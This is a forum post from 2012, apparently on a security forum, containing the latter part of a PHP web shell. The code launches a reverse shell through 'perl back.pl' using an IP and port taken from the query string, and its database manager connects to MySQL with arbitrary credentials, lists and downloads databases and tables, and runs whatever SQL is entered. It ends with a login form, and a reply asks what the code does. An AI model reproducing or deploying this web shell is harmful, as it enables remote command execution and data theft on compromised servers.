if (!system("cd /tmp;perl back.pl ".$_GET['ip']. " ".$_GET['port'])) {
echo "<script>alert('Error Loading Shell');</script>";
}
echo "</fieldset>";
}
} else {
echo "<br><b>[-] Error writing in the shell<br><br></b>";
}
}
}

if (isset($_GET['sql'])) {

echo "

<h2>SQL Manager</h2><br><br>

<form action='' method=GET>
Server : <input type=text name=host value=localhost><br>
User : <input type=text name=usuario value=root><br>
Pass : <input type=text name=password value=123><br><br>
<input type=submit name=entersql value=Connect>
</form>
";

}

if (isset($_GET['entersql'])) {

if ($mysql = @mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password'])) {
if ($databases = @mysql_list_dbs($mysql)) {

echo "<br><br><h2>Databases Found</h2><br>";
echo "<table>";
while($dat = @mysql_fetch_row($databases)) {
foreach($dat as $indice => $valor) {
echo  "<td class=main>$valor</td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&enterdb=".$valor.">Enter</a></td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&bajardb=".$valor.">Download</a></td><tr>";
}	
}
echo "</table>";
} else {
echo "<script>alert('Error loading databases');</script>";
exit(1);
}
} else {
echo "<script>alert('Error');</script>";
exit(1);
}
}

if (isset($_GET['enterdb'])) {

$mysql = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']);
mysql_select_db($_GET['enterdb']);
$tablas = mysql_query("show tables from ".$_GET['enterdb'])  or die("error");
echo "<br><h2>Tables Found</h2><br><br><table>";
while ($tabla = mysql_fetch_row($tablas)) {
foreach($tabla as $indice => $valor) {
echo "<td class=main>$valor</td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&entertable=".$valor."&condb=".$_GET['enterdb'].">Enter</a></td></td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&bajartabla=".$valor."&condb=".$_GET['enterdb'].">Download</a><tr>";
}	
}
echo "</table>";
}

if (isset($_GET['entertable'])) {

$mysql = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']);
mysql_select_db($_GET['condb']);

echo "<br><h2>SQL Manager</h2>
<br><br>
<form action='' method=POST>
Consulta SQL : <input type=text name=sentencia size=70>
<br><br><br>	
<input type=hidden name=host value=".$_GET['host'].">
<input type=hidden name=usuario value=".$_GET['usuario'].">
<input type=hidden name=password value=".$_GET['password'].">
<input type=hidden name=condb value=".$_GET['database'].">
<input type=hidden name=entertable value=".$_GET['tabla'].">
<input type=submit name=mostrar value=eNViar>
</form>
<br><br><br><br><br>";

$conexion = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']) or die("<h1>Error</h1>");
mysql_select_db($_GET['condb']);

if (isset($_POST['mostrar'])) {
if(!empty($_POST['sentencia'])) {
$resultado =  mysql_query($_POST['sentencia']);
} else {
$resultado = mysql_query("SELECT * FROM ".$_GET['entertable']);
}

$numer = 0;

echo "<table>";
for ($i=0;$i< mysql_num_fields($resultado);$i++) {
echo "<th class=main>".mysql_field_name($resultado,$i)."</th>";
$numer++;
}
while($dat = mysql_fetch_row($resultado)) {
echo "<tr>";
foreach($dat as $val) {
echo "<td class=main>".$val."</td>";
}
}
echo "</tr></table>";
}
}

echo "<br><br>";

} else {


echo "
<form action='' method=POST>
user : <input type=text name=user><br>
pass : <input type=text name=pass><br><br>
<input type=submit value=Login>
</form>
";

}

// ¿ The End ?

?>

Edited November 9, 2012 by io.kent

mafiacool · November 9, 2012

Eu sunt but , si as dori si eu sa stiu ce face acesta?

Sign In

Shellcode to Exe

Recommended Posts

io.kent

Link to comment

Share on other sites

Nytro

Link to comment

Share on other sites

io.kent

Link to comment

Share on other sites

mafiacool

Link to comment

Share on other sites

Join the conversation

Browse

Activity

Pages